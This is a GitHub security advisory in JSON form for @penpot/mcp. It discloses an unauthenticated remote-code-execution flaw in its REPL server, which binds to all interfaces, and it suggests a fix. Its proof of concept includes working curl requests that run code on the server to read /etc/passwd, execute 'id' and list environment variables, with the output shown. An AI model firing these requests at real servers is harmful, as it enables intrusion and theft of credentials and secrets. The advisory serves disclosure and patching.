Vulnerabilities in pkg:npm/@penpot/mcp

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-22qr-rp27-j9wm",
  "modified" : "2026-05-19T19:57:36Z",
  "published" : "2026-05-19T19:57:36Z",
  "aliases" : [ "CVE-2026-45805" ],
  "summary" : "PenPot MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE",
  "details" : "### Summary\n\nThe MCP module's `ReplServer` binds to all interfaces (`0.0.0.0:4403`) and exposes a `/execute` endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main `PenpotMcpServer` was partially fixed for a similar binding issue (#8683), but `ReplServer.ts` was missed.\n\n### Details\n\n`mcp/packages/server/src/ReplServer.ts:89`:\n\n```typescript\nthis.server = this.app.listen(this.port, () => {\n    // NO HOST ARGUMENT — Express defaults to 0.0.0.0\n```\n\nCompare with `PenpotMcpServer.ts:301` which correctly binds to `this.host` (default `\"localhost\"`):\n\n```typescript\nthis.app.listen(this.port, this.host, async () => {\n```\n\nThe `/execute` endpoint at `ReplServer.ts:52-79`:\n\n```typescript\nthis.app.post(\"/execute\", async (req, res) => {\n    const { code } = req.body;\n    // No auth check. Executes code via PluginBridge.executePluginTask()\n    const task = new ExecuteCodePluginTask({ code });\n    const result = await this.pluginBridge.executePluginTask(task);\n```\n\nNo auth middleware, no token check, no nothing. POST JSON with a `code` field and it runs.\n\nThis was partially flagged in #8683 (March 2026), which noted that `PenpotMcpServer.ts` was binding to `0.0.0.0`. PR #8686 attempted a fix but was closed without merging, and it only touched `PenpotMcpServer.ts` and `vite.config.ts` — `ReplServer.ts` wasn't in the diff. On current develop, `ReplServer.ts` line 89 still calls `listen(this.port)` with no host argument.\n\n### PoC\n\nI ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network.\n\n```bash\n$ node server.js\nREPL server started on port 4403\nBound to: :::4403\nAll interfaces: YES\n```\n\n**Unauthenticated code execution:**\n\n```bash\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"code\":\"require(\\\"os\\\").hostname()\"}'\n{\"success\":true,\"result\":\"kali\"}\n\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"code\":\"require(\\\"fs\\\").readFileSync(\\\"/etc/passwd\\\",\\\"utf8\\\").split(\\\"\\\\n\\\").slice(0,3).join(\\\"\\\\n\\\")\"}'\n{\"success\":true,\"result\":\"root:x:0:0:root:/root:/usr/bin/zsh\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\"}\n\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"code\":\"require(\\\"child_process\\\").execSync(\\\"id\\\").toString()\"}'\n{\"success\":true,\"result\":\"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\\n\"}\n\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"code\":\"JSON.stringify(Object.keys(process.env).slice(0,5))\"}'\n{\"success\":true,\"result\":\"[\\\"SHELL\\\",\\\"SESSION_MANAGER\\\",\\\"WINDOWID\\\",\\\"QT_ACCESSIBILITY\\\",\\\"COLORTERM\\\"]\"}\n```\n\n**Binding verification:**\n\n```\n$ ss -tlnp | grep 4403\nLISTEN  0  511  *:4403  *:*  users:((\"node\",pid=696955,fd=21))\n```\n\nListening on `*:4403` — all interfaces.\n\n**Remote access from Docker container:**\n\n```bash\n$ docker exec penpot-backend curl -s http://172.18.0.1:4403/\nREPL Server - Penpot MCP (no auth)\n```\n\nReachable from any container on the Docker network.\n\n### Impact\n\nUnauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network.\n\n### Suggested fix\n\nTwo lines:\n\n1. Add a `host` parameter to the listen call in `ReplServer.ts:89`:\n```typescript\nthis.server = this.app.listen(this.port, 'localhost', () => {\n```\n\n2. Add authentication to the `/execute` endpoint. Even a shared secret from an environment variable would be better than nothing.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@penpot/mcp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.15.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/penpot/penpot"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-749" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-19T19:57:36Z",
    "nvd_published_at" : null
  }
}